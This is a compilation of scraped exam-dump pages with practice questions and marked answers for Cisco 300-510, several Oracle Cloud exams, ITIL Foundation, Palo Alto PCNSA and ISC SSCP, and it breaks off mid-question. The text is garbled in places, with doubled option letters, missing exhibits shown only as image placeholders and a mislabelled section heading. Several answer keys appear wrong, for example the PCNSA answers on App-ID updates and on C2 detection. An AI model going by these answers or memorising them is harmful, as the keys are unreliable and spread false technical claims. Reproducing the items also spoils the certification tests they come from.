Free 300-510 Dumps PDF Questions – Pass 300-510 Exam Easily 2020…

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Implementing Cisco Service Provider Advanced Routing Solutions (300-510 SPRI)

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Cisco Certification preparation material for 300-510 exam

Latest Cisco 300-510 Practice Test Questions

Just Like the Real 300-510 Test

QUESTION 1
Which output from the show isis interface command helps an engineer troubleshoot an IS-IS adjacency problem on a
Cisco IOS-XR platform?
A. metric
B. priority
C. circuit type
D. hello interval
Correct Answer: D

QUESTION 2
Referring to the topology diagram show in the exhibit, which three statements are correct regarding the BGP routing
updates? (Choose three.)

Pass4itsure 300-510 exam questions-q2

A. The EBGP routing updates received by R1 from R5 will be propagated to the R2, R4, and R7 routers
B. The EBGP routing updates received by R3 from R6 will be propagated to the R2 and R4 routers
C. The EBGP routing updates received by R1 from R5 will be propagated to the R2 and R4 routers
D. The IBGP routing updates received by R3 from R2 will be propagated to the R6 router
E. The IBGP routing updates received by R2 from R1 will be propagated to the R3 router
F. The IBGP routing updates received by R1 from R4 will be propagated to the R5, R7, and R2 routers
Correct Answer: ABD

QUESTION 3

Pass4itsure 300-510 exam questions-q3

Refer to the exhibit. CE1 is the gateway router into the provider network via PE1. A network operator must inject a
default route into OSPF area 0. All devices inside area 0 must be able to reach PE1. Which configuration achieves this
goal?

Pass4itsure 300-510 exam questions-q3-2

A. Option A
B. Option B
C. Option C
D. Option D
Correct Answer: C
Reference: https://www.cisco.com/c/en/us/support/docs/ip/open-shortest-path-first-ospf/47868-ospfdb9.html

QUESTION 4
Which two characteristics unique to SSM when compared to ASM are true? (Choose two.)
A. It uses SPT switchover
B. It uses (*,G) exclusively
C. It uses IGMPv3
D. It uses RP
E. It uses (S,G) exclusively
Correct Answer: CE

QUESTION 5
A network engineer is troubleshooting OSPF multiarea. Which Cisco IOS XR feature should the engineer use in order to
streamline OSPF issue?
A. hierarchical CLI
B. DR support for topology management
C. routing process enabled by default on all interfaces
D. show ip ospf topology command
Correct Answer: A
Reference: https://www.cisco.com/c/en/us/td/docs/routers/xr12000/software/xr12k_r4-0/routing/configuration/guide/rc40xr12k_chapter4.html#con_1059437

QUESTION 6
DRAG DROP
Compare different features between OSPFv2 and OSPFv3. Drag and drop the descriptions of OSPF from the left onto
the correct OSPF versions on the right.
Select and Place:

Pass4itsure 300-510 exam questions-q6

Correct Answer:

Pass4itsure 300-510 exam questions-q6-2

QUESTION 7

Pass4itsure 300-510 exam questions-q7

Refer to the exhibit. P1 and PE3 Cisco IOS XR routers are directly connected and have this configuration applied. The
BGP session is not coming up. Assume that there is no IP reachability problem and both routers can open tcp port 179
to each other.
Which action fixes the issue?
A. Change HMAC-MD5 to HMAC-SHA1-20
B. Configure the send and accept lifetime under key 1
C. Change HMAC-MD5 to MD5
D. Change HMAC-MD5 to HMAC-SHA1-12
Correct Answer: B

QUESTION 8
Refer to the exhibit.

Pass4itsure 300-510 exam questions-q8

Which three statements are correct regarding the Cisco IOS-XR configuration? (Choose three.)
A. This router, acting as the RP mapping agent, will send RP announcement messages to the 224.0.1.40 group
B. This router, acting as the RP mapping agent, will send RP discovery messages to the 224.0.1.39 group
C. This router is the RP mapping agent only for the 224.11.11.11 and 224.99.99.99 multicast groups
D. This router is a candidate PIM-SM RP for the 224.99.99.99 multicast group
E. This router is a candidate PIM-BIDIR RP for the 224.11.11.11 multicast group
F. IGMPv3 is enabled on all interfaces
G. Other routers will recognize this router as the RP for all multicast groups with this router loopback 0 IP address
Correct Answer: DEF

QUESTION 9
Which protocol can be used to secure multicast in a group multicast solution where group key management is needed
for secure key exchange?
A. DOI
B. ISAKMP
C. GDOI
D. IPsec
Correct Answer: C

QUESTION 10

Pass4itsure 300-510 exam questions-q10

Refer to the exhibit. After troubleshooting an OSPF adjacency issue, routers 1, 2, and 3 have formed OSPF neighbor
relationships. Which statement about the configuration is true?
A. Router 2 receives a Type 5 LSAs from router 1 for its connected subnets
B. Router 2 uses router 3 as the next hop for 192.168.0.0/24
C. Router 2 uses router 1 as the next hop for 192.168.0.0/24
D. Router 2 receives a Type 7 LSAs from router 3 for its connected subnets
Correct Answer: A

QUESTION 11
You have configured routing policies on a Cisco IOS XR device with routing policy language.
Which two statements about the routing policies are true? (Choose two.)
A. The routing policies affect BGP-related routes only.
B. If you make edits to an existing routing policy without pasting the full policy into the CLI, the previous policy is
overwritten.
C. You can change an existing routing policy by editing individual statements.
D. The routing policies are implemented in a sequential manner.
E. The routing policies are implemented using route maps.
Correct Answer: CD

QUESTION 12
Refer to the exhibit. Which LSA type is indicated by this router output?

Pass4itsure 300-510 exam questions-q12

A. type 3 LSA
B. type 4 LSA
C. type 1 LSA
D. type 2 LSA
Correct Answer: C

QUESTION 13

Pass4itsure 300-510 exam questions-q13

Refer to the exhibit. After you applied these configurations to routers R1 and R2, the two devices could not form a
neighbor relationship. Which reason for the problem is the most likely?
A. The two routers cannot authenticate with one another.
B. The two routers have the same area ID.
C. The two routers have the same network ID.
D. The two routers have different IS-types.
Correct Answer: C

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[2020.11] Oracle Exam Collection – Newest Oracle Dumps Free (PDF) Download

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Latest Oracle Cloud 1z0-1072 exam dumps and practice questions (1-8)

Oracle 1z0-1072 exam

QUESTION 1
Your application consists of three Oracle Cloud Infrastructure compute instances running behind a public load balancer.
You have configured the load balancer to perform health checks on these instances, but one of the three instances fails
to pass the configured health check. Which of the following action will the load balancer perform?
A. Stop sending traffic to the instance that failed health check
B. B. Terminate the instance that failed health check
C. C. Stop the instances that failed health check
D. D. Remove the instance that failed the health check from the backend set
Correct Answer: A
health check A test to confirm the availability of backend servers. A health check can be a request or a connection
attempt. Based on a time interval you specify, the load balancer applies the health check policy to continuously monitor
backend servers. If a server fails the health check, the load balancer takes the server temporarily out of rotation. If the
server subsequently passes the health check, the load balancer returns it to the rotation.
You configure your health check policy when you create a backend set. You can configure TCP-level or HTTP-level
health checks for your backend servers.

TCP-level health checks attempt to make a TCP connection with the backend servers and validate the response based
on the connection status.

HTTP-level health checks send requests to the backend servers at a specific URI and validate the response based on
the status code or entity data (body) returned. The service provides application-specific health check capabilities to help
you increase availability and reduce your application maintenance window.


QUESTION 2
You have a working application in the US East region. The app is a 3-tier app with a database backend – you take
regular backups of the database into OCI Object Storage in the US East region. For Business continuity; you are
leveraging OCI Object Storage cross-region copy feature to copy database backups to the US West region. Which of
the following three steps do you need to execute to meet your requirement?
A. Write an IAM policy and authorize the Object Storage service to manage objects on your behalf
B. Specify an existing destination bucket
C. Specify the bucket visibility for both the source and destination buckets
D. D. Provide a destination object name
E. E. Provide an option to choose bulk copying of objects
F. F. Choose an overwrite rule
Correct Answer: ABF
You can copy objects to other buckets in the same region and to buckets in other regions.
You must have the required access to both the source and destination buckets when performing an object copy. You
must also have permissions to manage objects in the source and destination buckets.
Because Object Storage is a regional service, you must authorize the Object Storage service for each region carrying
out copy operations on your behalf. For example, you might authorize the Object Storage service in region US East
(Ashburn) to manage objects on your behalf. Once you authorize the Object Storage service, you can copy an object
stored in a US East (Ashburn) bucket to a bucket in another region.
You can use overwrite rules to control the copying of objects based on their entity tag (ETag) values.
Specify an existing target bucket for the copy request. The copy operation does not automatically create buckets.

QUESTION 3
Which two statements are true about the Oracle Cloud Infrastructure Object Storage Service? (Choose two.)
A. It provides higher IOPS than Block Storage.
B. It can be directly attached or detached from a compute instance.
C. Data is stored redundantly only in a single AD.
D. Data is stored redundantly across multiple availability domains (ADs).
E. It provides strong consistency.
Correct Answer: DE
STRONG CONSISTENCYWhen a read request is made, Object Storage always serves the most recent copy of the
data that was written to the system.DURABILITYObject Storage is a regional service. Data is stored redundantly across
multiple storage servers. Object Storage actively monitors data integrity using checksums and automatically detects and
repairs corrupt data. Object Storage actively monitors and ensures data redundancy. If a redundancy loss is detected,
Object Storage automatically creates more data copies. For more details about Object Storage durability, see the Oracle
Cloud Infrastructure Object Storage FAQ.CUSTOM METADATAYou can define your own extensive metadata as key-value pairs for any purpose. For example, you can create descriptive tags for objects, retrieve those tags, and sort
through the data. You can assign custom metadata to objects and buckets using the Oracle Cloud Infrastructure CLI or
SDK. See Software Development Kits and Command Line Interface for details.ENCRYPTIONObject Storage employs
256-bit Advanced Encryption Standard (AES-256) to encrypt object data on the server. Each object is encrypted with its
own key. Data encryption keys are encrypted with a master encryption key that is frequently rotated. Encryption is
enabled by default and cannot be turned off.

QUESTION 4
A customer wants to do development on-premise while leveraging services such as Java Cloud, Mobile Developer
Cloud, and App Builder Services. The customer would also like to scale out the application, stretching from on-premises
to the cloud by using a common API.
Which two Infrastructure options can the customer leverage to do this? (Choose two.)
A. Oracle Cloud at Customer
B. Oracle Cloud Infrastructure Classic
C. Oracle Cloud Ravello service
D. Oracle Cloud Infrastructure
Correct Answer: AD

QUESTION 5
Which option lists Virtual Cloud Networks (VCNs) that can be peered?
A. VCN A (172.16.0.0/24) and VCN B (172.16.0.0/28)
B. VCN A (10.0.0.0/16) and VCN B (10.1.0.0/16)
C. VCN A (10.0.2.0/16) and VCN B (10.0.2.0/25)
D. VCN A (10.0.0.0/16) and VCN B (10.0.16.0/24)
Correct Answer: B

QUESTION 6
You are about to upload log file (5 TiB size) to Oracle Cloud Infrastructure object storage and have decided to use
multipart upload capability for a more efficient and resilient upload. Which two statements are true about multipart
upload? (Choose two.)
A. Individual object parts can be as small as 10 MiB or as large as 50 GiB
B. While a multipart upload is still active, you cannot add parts even if the total number of parts is less than 10,000
C. The maximum size for an uploaded object is 10 TiB
D. You do not have to commit the upload after you have uploaded all the object parts
Correct Answer: AC
With multipart upload, you split the object you want to upload into individual parts. Individual parts can be as large as 50
GiB or as small as 10 MiB. (Object Storage waives the minimum part size restriction for the last uploaded part.) Decide
what part number you want to use for each part. Part numbers can range from 1 to 10,000. You do not need to assign
contiguous numbers, but Object Storage constructs the object by ordering part numbers in ascending order.
The maximum size for an uploaded object is 10 TiB
While a multipart upload is still active, you can keep adding parts as long as the total number is less than 10,000.

QUESTION 7
Which two statements are true about encryption on Oracle Cloud Infrastructure (OCI)? (Choose two.)
A. By default, object storage and block storage are encrypted at rest.
B. A customer is responsible for data encryption in all services of OCI.
C. By default, DB Systems offers an encrypted database.
D. By default, NVMe drives are encrypted but the block volume service is not.
Correct Answer: AC
References: https://cloud.oracle.com/storage/object-storage/features


QUESTION 8
You have an instance running in a development compartment that needs to make API calls against other OCI services,
but you do not want to configure user credentials or store a configuration file on the instance. How can you meet this
requirement?
A. Create a dynamic group with matching rules to include your instance
B. B. Instances can automatically make calls to other OCI services
C. C. Instances are secure and cannot make calls to other OCI services
D. D. Create a dynamic group with matching rules to include your instance and write a policy for this dynamic group
Correct Answer: D
Dynamic groups allow you to group Oracle Cloud Infrastructure computer instances as “principal” actors (similar to user
groups).
When you create a dynamic group, rather than adding members explicitly to the group, you instead define a set of
matching rules to define the group members. For example, a rule could specify that all instances in a particular
compartment are members of the dynamic group. The members can change dynamically as instances are launched and
terminated in that compartment.
A dynamic group has no permissions until you write at least one policy that gives that dynamic group permission to
either the tenancy or a compartment. When writing the policy, you can specify the dynamic group by using either the
unique name or the dynamic group\\’s OCID. Per the preceding note, even if you specify the dynamic group name in the
policy, IAM internally uses the OCID to determine the dynamic group.

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Latest Oracle Cloud 1z0-1072-20 exam dumps and practice questions (1-8)

Oracle 1z0-1072-20 exam

QUESTION 1
Which service is NOT supported by Oracle Cloud Infrastructure CLI?
A. load balancer
B. compute
C. database
D. block volumes
Correct Answer: D
References: https://docs.cloud.oracle.com/iaas/Content/API/Concepts/cliconcepts.htm#services


QUESTION 2
Why are two subnets required to create a public load balancer when additional subnets are often used for back-end
servers? (Choose two.)
A. Routing is simpler when the load balancer is not in the same subnet as the back-end server.
B. Performance is higher when more subnets are used.
C. Additional subnets for back-end servers allow for separate route tables for these servers.
D. Additional subnets for back-end servers allow for separate security lists for these servers.
Correct Answer: BD
References:
http://www.oracle.com/webfolder/technetwork/tutorials/obe/cloud/ocis/load-balancer/load-balancer.html


QUESTION 3
Which two choices are true for Autonomous Data Warehouse (ADW)? (Choose two.)
A. Billing stops only when the ADW is terminated
B. Billing stops for both CPU usage and storage usage when ADW is stopped
C. Billing for computing stops when ADW is stopped
D. Billing for storage continues when ADW is stopped
Correct Answer: CD
When Autonomous Database instance is stopped, CPU billing is halted based on full-hour cycles of usage Billing for storage continues as long as the service instance
exists. and When the Autonomous Database instance is started, the CPU billing is initiated

QUESTION 4
You have the following compartment structure in your tenancy. Root compartment->Training- >Training-subl ->Trainingsub2 You create a policy in the root compartment to allow the default admin for the account (Administrators) to manage
block volumes in compartment Training-sub2.
What policy would you write to meet this requirement?
A. Allow group Administrators to manage volume-family in the root compartment
B. Allow group Administrators to manage volume-family in compartment Training-sub1: Training- sub2
C. Allow group Administrators to manage volume-family in compartment Training: Training-sub 1 : Training-sub2
D. Allow group Administrators to manage volume-family in compartment Training-sub2
Correct Answer: C
a policy statement must specify the compartment for which access is being granted (or the tenancy). Where you create
the policy determines who can update the policy. If you attach the policy to the compartment or its parent, you can
simply specify the compartment name. If you attach the policy further up the hierarchy, you must specify the path. The
format of the path is each compartment name (or OCID) in the path, separated by a colon::: . . . For example, assume
you have a three-level compartment hierarchy, shown here:

Pass4itsure 1z0-1072-20 exam questions-q4

You want to create a policy to allow NetworkAdmins to manage VCNs in CompartmentC. If you want to attach this policy
to CompartmentC or to its parent, CompartmentB, write this policy statement:
Allow group NewtworkAdmins to manage virtual-network-family in compartment CompartmentC However, if you want to
attach this policy to CompartmentA (so that only administrators of CompartmentA can modify it), write this policy
statement that specifies the path:
Allow group NewtworkAdmins to manage virtual-network-family in compartment CompartmentB:CompartmentC
To attach this policy to the tenancy, write this policy statement that specifies the path from CompartmentA to
CompartmentC:
Allow group NewtworkAdmins to manage virtual-network-family in compartment
CompartmentA:CompartmentB:CompartmentC

 

QUESTION 5
Which five are the required parameters to launch an instance in Oracle Cloud Infrastructure? (Choose five.)
A. subnet
B. Availability Domain
C. Virtual Cloud Network
D. host name
E. instance shape
F. image operating system
G. private IP address
Correct Answer: ABCEF
References: https://docs.cloud.oracle.com/iaas/Content/Compute/Concepts/computeoverview.htm


QUESTION 6
A company currently uses Microsoft Active Directory as its identity provider. The company recently subscribed to Oracle
Cloud Infrastructure (OCI) to leverage the cloud platform for test and development. As the administrator, you configured
the OCI tenancy to be federated with Microsoft Active Directory. Now you need to give access to developers so that
they can start creating resources in their OCI accounts.
Which step will you perform to make sure you are not duplicating user creation inside of OCI tenancy?
A. Create a group for developers on OCI and map the group to a similar group in Microsoft Active Directory during the
federation process.
B. Create a new user account in OCI for each user, and then create policies to provide access to developers.
C. Create a group for developers on OCI, export all the developers from Microsoft Active Directory, and then import
them into the Identity and Access Management (IAM) group.
D. Create a single user account in OCI, and then create policies to provide access to developers to this single account.
Correct Answer: A
When working with your IdP, your administrator defines groups and assigns each user to one or more groups according
to the type of access the user needs. Oracle Cloud Infrastructure also uses the concept of groups (in conjunction with
IAM policies) to define the type of access a user has. As part of setting up the relationship with the IdP, your
administrator can map each IdP group to a similarly defined IAM group, so that your company can re-use the IdP group
definitions when authorizing user access to Oracle Cloud Infrastructure resources.

QUESTION 7
The Oracle Cloud Infrastructure Block Volume service lets you expand the size of the block and boot volumes. Which three
options below can you use to increase the size of your block volumes?
A. Clone an existing volume to a new, larger volume
B. You can only expand block volumes and not boot volumes
C. Expand an existing volume in place with offline resizing
D. Take a backup of your existing volume and restore from the volume back up to a larger volume
E. Expand an existing volume in place with online resizing
Correct Answer: ACD
The Oracle Cloud Infrastructure Block Volume service lets you expand the size of block volumes and boot volumes. You
have three options to increase the size of your volumes:
Expand an existing volume in place with offline resizing. See Resizing a Volume Using the Console for the steps to do
this.
Restore from a volume backup to a larger volume. See Restoring a Backup to a New Volume and Restoring a Boot
Volume.
Clone an existing volume to a new, larger volume. See Cloning a Volume and Cloning a Boot Volume.

QUESTION 8
A company currently uses Microsoft Active Directory as its identity provider. The company recently purchased Oracle
Cloud Infrastructure (OCI) to leverage the cloud platform for its test and development operations. As the administrator,
you are now tasked with giving access only to developers so that they can start creating resources in their OCI
accounts. Which step will you perform to achieve this requirement?
A. Create a group for developers on OCI and map the group to a similar group in Microsoft Active Directory during the
federation process.
B. Federate all Microsoft Active Directory groups with OCI to allow users to use their existing credentials.
C. Create a new user account for each user and then create policies to provide access to developers.
D. Create a group for developers on OCI, export all the developers from Microsoft Active Directory, and then import
them into the Identity and Access Management (IAM) group.
Correct Answer: A

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Latest Oracle Cloud 1z0-1073 exam dumps and practice questions (1-8)

Oracle 1z0-1073 exam

QUESTION 1
You face a supply request exception due to some reason. You realize that you need to make some changes to the
Manage Supply Request Exceptions page. Which action will you perform?
A. The supply request cannot be updated. The only way is to resolve the error in the source application and resubmit
the request.
B. Update the supply request and submit it. The errors will be resolved automatically.
C. The supply request can be updated using a third-party application only.
D. Update the supply request and make user errors are resolved before resubmitting it.
Correct Answer: A


QUESTION 2
Your customer is a very large organization spanning across multiple countires. Their legal requirements, Human
Resource Policies, and Functional Currencies for Ledger are different for each country. Your customer wants to
maintain 10
different companies in the system.
Which combination meets this requirement?
A. 10 Enterprises, 10 Divisions, where each division has its own legal entity and ledger
B. 10 Enterprises, 1 Division, where each division has 10 legal entities and 1 ledger
C. 1 Enterprise, 10 Divisions, where each division has its own legal entity and ledger D. 1 Enterprise, 10 Divisions,
where each division has its own ledger with common legal entity across all divisions
Correct Answer: C


QUESTION 3
While negotiating the terms of the consignment agreement, the buyer and the supplier mutually agree to set the aging
onset point as receipt and the aging period as five days. The terms also say that the consumption advice will be
generated daily.
In which three scenarios will the goods be transferred from the supplier\\’s ownership to buyer\\’s ownership?
A. You received the goods today and you transfer the ownership using the “create transfer to owned transaction” task.
B. You received the goods today and after three days you transfer the ownership using the “create transfer to consigned
transaction” task.
C. You received the goods today and for the next one week you do not plan any action on the same.
D. You received the goods today and after six days you decide to transfer the ownership using the “create transfer to consigned transaction” task.
E. You received the goods today and you decide to issue the goods after three days without transferring the ownership.
F. You received the goods today and after four days you return the material to the supplier.
Correct Answer: ACE


QUESTION 4
Identify three statements that are true about reservations in back-to-back processing.
A. Changes to reservation in Oracle Logistics Cloud leads to exceptions, which are displayed in the Supply Chain
Orchestration work area.
B. Reservation supplies that can be reserved are Purchase Orders, Transfer Orders, Work Orders, and On Hand
inventory.
C. Reservations cannot be created for back-to-back On Hand supply orders.
D. Partial fulfillment of reservations is supported.
E. One reservation is created for a demand and supply.
Correct Answer: ABE

QUESTION 5
In the Back-to-Back (B2B) Order to Cash flow, ordered items are purchased from a suplier. The Sourcing Rules have
been defined for the item and the buy flow has been initiated. The sales order line is shown as Awaiting Shipping and
the
supply line status is “In Purchasing” with the supply order generated but the purchase requisition not generating.
What is the reason?
A. Supply order is generated with exceptions.
B. The sourcing rule is incorrect.
C. Preparer is not valid.
D. Buy requests originate from Order Management.
E. No Blanket Purchase Agreement (BPA) exists for this supplier-item combination.
Correct Answer: B

QUESTION 6
Your customer is managing a large sales team divided in two different geographies in the USA. They have the East
Coast sales team and the Central sales team. Both teams are handled by one manager and perform the same function.
Your customer wants to track the expenses of the two teams separately; however, they do not consider them different
as they are handled by one manager only.
How will you fulfill the requirement?
A. Define them as two separate departments and a single cost center.
B. Define them as one department and one cost center.
C. It is not possible to fulfill the requirement.
D. Define them as a single department and two separate cost centers.
Correct Answer: D


QUESTION 7
An inventory transaction is imported to the system through an FBDI template. Which transaction state denotes that an
inventory transaction is created in the Oracle Cloud Inventory Management application?
A. Validated
B. Created
C. Deferred
D. New
E. Staged
Correct Answer: A

QUESTION 8
A customer has one Business Unit, two Legal Entities, and each have eight warehouses (defined as Inventory Orgs).
While trying to set up Cost Organizations for each of these Legal Entities, you were unable to perform the mandatory
step of
assigning the Profit Center Business Unit for one set of eight Inventory Organizations; however, you could do it for the
other set.
What is the reason for this?
A. There is no Inventory Validation Organization defined.
B. There is no Business Unit associated with the Legal Entity.
C. The General Ledger is not associated with Business Unit.
D. The Business Unit is not enabled for Costing.
E. The Legal Entity Setup is incomplete.
Correct Answer: B

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Latest Oracle Cloud 1z0-1080-20 exam dumps and practice questions (1-8)

Oracle 1z0-1080-20 exam

QUESTION 1
In Financials, you want to see asset related expenses such as depreciation, amortization, and insurance. Which
describes the steps you can take to set this up? (Choose the best answer.)
A. Set up the Equipment Expense Reporting Capex data map to map asset related expenses to Financials.
B. On the Configure page for Capital, select the option to map Capital accounts to financial accounts. Then for each
Capital account, select a financial account to map to.
C. On the Configure page for Financials, when enabling features, include a custom dimension to store asset related
information.
D. On the Configure page for Financials, select Asset Accounts to set up the accounts from Capital that map to
Financials.
Correct Answer: B
Reference: https://docs.oracle.com/en/cloud/saas/planning-budgeting-cloud/epbca/GUID-71622AFDC1F0-4D40-A36F-85FA8AA305B6.pdf (8-6)

 

QUESTION 2
Which migration category is required to restore dimensional security? (Choose the best answer.)
A. Planning
B. Groups and Memberships
C. Reporting
D. Calculation Manager
Correct Answer: B
Reference: https://docs.oracle.com/cd/E57185_01/EASOH/ss_sec_mode.html

 

QUESTION 3
In Data Management, what are the steps you need to perform to synchronize the application metadata in the target
application? (Choose the best answer.)
A. In Data Management, navigate to Application Dimensions and click Refresh Dimensions.
B. In Data Management, navigate to Import Format and select your Planning application. Click Refresh Dimensions.
C. In Data Management, navigate to Target Application and select your Planning application. Click Refresh Members.
D. In Data Management, to Target Application and select your Planning application. Click Refresh Metadata.
Correct Answer: C
Reference: https://docs.oracle.com/en/cloud/saas/enterprise-performance-managementcommon/erpia/erpi_reg_target_app.html


QUESTION 4
What three tasks can you perform in the Data Management Workbench? (Choose three.)
A. Export
B. Validate
C. Maintain Process Tables
D. Import
E. Delete Integration
Correct Answer: ABD
Reference: https://docs.oracle.com/en/cloud/saas/enterprise-performance-managementcommon/erpia/using_the_data_load_workbench.html

 

QUESTION 5
Which three do you need to enable in order to perform indirect cash flow statement planning? (Choose three.)
A. Expense
B. Cash Flow Statement
C. Income Statement
D. Balance Sheet
E. Revenue
Correct Answer: ABE
Reference: https://docs.oracle.com/en/cloud/saas/planning-budgetingcloud/epbca/fin_enabling_cash_flow_100x49cf9a89.html

 

QUESTION 6
In order to be able to configure Additional Earnings in the Benefits and Taxes wizard, into which dimension do you have
to import members? Choose the best answer.
A. Pay Type
B. Property
C. Component
D. Account
Correct Answer: D
Reference: https://docs.oracle.com/en/cloud/saas/planning-budgetingcloud/epbca/wf_configuring_workforce__106xdb232ea8.html


QUESTION 7
Several users continuously use custom-created formulas in Excel to supplement their Planning form inputs. What is
another design alternative to reduce offline Excel maintenance? Choose the best answer.
A. Cell commentary
B. Reports
C. Ad hoc forms
D. Smart forms
E. Smart push
Correct Answer: D
Reference: https://docs.oracle.com/cd/E57185_01/SMVUG/ch13s12s02.html

 

QUESTION 8
Which three can be automated with EPMAutomate? (Choose three.)
A. Import user security
B. Run a Business Rule
C. Import a file into the Planning inbox
D. Migrate a backup between test and production
E. Send an email to users
Correct Answer: BCD

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ITIL Certification ITILFND Exam Questions Answers

ITIL ITILFND practice exam questions and answers

QUESTION 1
Which process is responsible for recording the current details, status, interfaces and dependencies of all services that
are being run or being prepared to run in the live environment?
A. Service level management
B. Service catalogue management
C. Demand management
D. Service transition
Correct Answer: B


QUESTION 2
Which is a definition of a risk cause?
A. The impact of a risk on the stage and project tolerance
B. The source of a risk
C. The overall effect of a risk on the Business Case
D. How likely a risk is to occur in a given project situation
Correct Answer: B


QUESTION 3
What is a means of enabling value co-creation by facilitating outcomes that customers want to achieve, without the
customer having to manage specific costs and risks?
A. Service management
B. Continual improvement
C. A service
D. An IT asset
Correct Answer: C


QUESTION 4
Which of the following would commonly be in a contract underpinning an IT service?
(1)
Marketing information
(2)Contract description and scope
(3)Responsibilities and dependencies
A.
1 and 2 only
B.
1 and 3 only
C.
2 and 3 only
D.
None of the above
Correct Answer: C
 

 

QUESTION 5
Which of the following is NOT a valid objective of problem management?
A. To prevent problems and their resultant Incidents
B. To manage problems throughout their lifecycle
C. To restore service to a user
D. To eliminate recurring incidents
Correct Answer: C


QUESTION 6
Which one of the following functions would be responsible for the management of a data centre?
A. Technical management
B. Service desk
C. Application management
D. Facilities management
Correct Answer: D


QUESTION 7
What is the BEST description of the CSI register?
A. It is a record of all authorized changes and their planned implementation dates
B. It is a record of proposed improvement opportunities and the benefits that will be achieved
C. It is a record of new services to be approved by a customer, including proposed implementation dates
D. It is a record of completed improvements and the relevant customer satisfaction metric
Correct Answer: B

 

QUESTION 8
Which one of the following is the BEST definition of an event?
A. Any change of state that has significance for the management of a configuration item (CI) or IT service
B. An unplanned interruption to an IT service or a reduction in the quality of an IT service
C. The unknown cause of one or more incidents that have an impact on an IT service
D. Reducing or eliminating the cause of an incident or problem
Correct Answer: A


QUESTION 9
Which statement BEST describes the value of the service transition stage to the business?
A. It supports the creation of a catalogue of services?
B. It leads to gradual and continual improvement in service quality
C. It ensures the production of more successful service designs
D. It results in higher volumes of successful change
Correct Answer: D

QUESTION 10
Which two elements of financial management for IT services are mandatory?
A. Budgeting and charging
B. Accounting and charging
C. Budgeting and accounting
D. Costing and charging
Correct Answer: C

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Palo Alto Networks Palo Alto Certifications and Accreditations PCNSA ITILFND Exam Questions Answers

Palo Alto Networks Palo Alto Certifications and Accreditations PCNSA practice exam questions and answers

QUESTION 1
Which two statements are correct about App-ID content updates? (Choose two.)
A. Updated application content may change how security policy rules are enforced
B. After an application content update, new applications must be manually classified prior to use
C. Existing security policy rules are not affected by application content updates
D. After an application content update, new applications are automatically identified and classified
Correct Answer: CD


QUESTION 2
Which interface type is part of a Layer 3 zone with a Palo Alto Networks firewall?
A. Management
B. High Availability
C. Aggregate
D. Aggregation
Correct Answer: C


QUESTION 3
Which Palo Alto Networks firewall security platform provides network security for mobile endpoints by inspecting traffic
deployed as internet gateways?
A. GlobalProtect
B. AutoFocus
C. Aperture
D. Panorama
Correct Answer: A


QUESTION 4
Match the Palo Alto Networks Security Operating Platform architecture to its description.
Select and Place:

vcekey PCNSA exam questions-q4

QUESTION 5
Which administrator receives a global notification for a new malware that infects hosts. The infection will result in the
infected host attempting to contact and command-and-control (C2) server.
Which security profile components will detect and prevent this threat after the firewall`s signature database has been
updated?
A. antivirus profile applied to outbound security policies
B. data filtering profile applied to inbound security policies
C. data filtering profile applied to outbound security policies
D. vulnerability profile applied to inbound security policies
Correct Answer: C


QUESTION 6
What are two differences between an implicit dependency and an explicit dependency in App-ID? (Choose two.)
A. An implicit dependency does not require the dependent application to be added in the security policy
B. An implicit dependency requires the dependent application to be added in the security policy
C. An explicit dependency does not require the dependent application to be added in the security policy
D. An explicit dependency requires the dependent application to be added in the security policy
Correct Answer: AD


QUESTION 7
An internal host wants to connect to servers of the internet through using source NAT. Which policy is required to
enable source NAT on the firewall?
A. NAT policy with source zone and destination zone specified
B. post-NAT policy with external source and any destination address
C. NAT policy with no source of destination zone selected
D. pre-NAT policy with external source and any destination address
Correct Answer: A


QUESTION 8
Which type of security rule will match traffic between the Inside zone and Outside zone, within the Inside zone, and
within the Outside zone?
A. global
B. intrazone
C. interzone
D. universal
Correct Answer: D
Reference: https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA10g000000ClomCAC

QUESTION 9
Which two configuration settings shown are not the default? (Choose two.)

vcekey PCNSA exam questions-q9

A. Enable Security Log
B. Server Log Monitor Frequency (sec)
C. Enable Session
D. Enable Probing
Correct Answer: BC
Reference: https://docs.paloaltonetworks.com/pan-os/8-0/pan-os-web-interface-help/user-identification/device-useridentification-user-mapping/enable-server-monitoring


QUESTION 10
Which path in PAN-OS 9.0 displays the list of port-based security policy rules?
A. Policies> Security> Rule Usage> No App Specified
B. Policies> Security> Rule Usage> Port only specified
C. Policies> Security> Rule Usage> Port-based Rules
D. Policies> Security> Rule Usage> Unused Apps
Correct Answer: C

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ISC Certification SSCP Exam Questions Answers

ISC SSCP practice exam questions and answers

QUESTION 1
Which of the following is less likely to accompany a contingency plan, either within the plan itself or in the form of an
appendix?
A. Contact information for all personnel.
B. Vendor contact information, including offsite storage and alternate site.
C. Equipment and system requirements lists of the hardware, software, firmware and other resources required to
support system operations.
D. The Business Impact Analysis.
Correct Answer: A
Why is this the correct answer? Simply because it is WRONG, you would have contact information for your emergency
personnel within the plan but NOT for ALL of your personnel. Be careful of words such as ALL.
According to NIST\\’s Special publication 800-34, contingency plan appendices provide key details not contained in the
main body of the plan. The appendices should reflect the specific technical, operational, and management contingency
requirements of the given system. Contact information for recovery team personnel (not all personnel) and for vendor
should be included, as well as detailed system requirements to allow for supporting of system operations. The Business
Impact Analysis (BIA) should also be included as an appendix for reference should the plan be activated.
Reference(s) used for this question:
SWANSON, Marianne, and al., National Institute of Standards and Technology (NIST), NIST Special Publication
800-34, Contingency Planning Guide for Information Technology Systems


QUESTION 2
In a stateful inspection firewall, data packets are captured by an inspection engine that is operating at the:
A. Network or Transport Layer.
B. Application Layer.
C. Inspection Layer.
D. Data Link Layer.
Correct Answer: A
Most stateful packet inspection firewalls work at the network or transport layers. For the TCP/IP protcol, this allows the
firewall to make decisions both on IP addresses, protocols and TCP/UDP port numbers
Application layer is incorrect. This is too high in the OSI stack for this type of firewall.
Inspection layer is incorrect. There is no such layer in the OSI stack.
“Data link layer” is incorrect. This is too low in the OSI stack for this type of firewall.
References:
CBK, p. 466
AIO3, pp. 485 – 486


QUESTION 3
A momentary high voltage is a:
A. spike
B. blackout
C. surge
D. fault
Correct Answer: A
Too much voltage for a short period of time is a spike.
Too much voltage for a long period of time is a surge.
Not enough voltage for a short period of time is a sag or dip
Not enough voltage for a long period of time is brownout
A short power interruption is a fault
A long power interruption is a blackout
You MUST know all of the power issues above for the purpose of the exam.
From: HARRIS, Shon, All-In-One CISSP Certification Exam Guide, 3rd. Edition McGraw- Hill/Osborne, 2005, page 368.


QUESTION 4
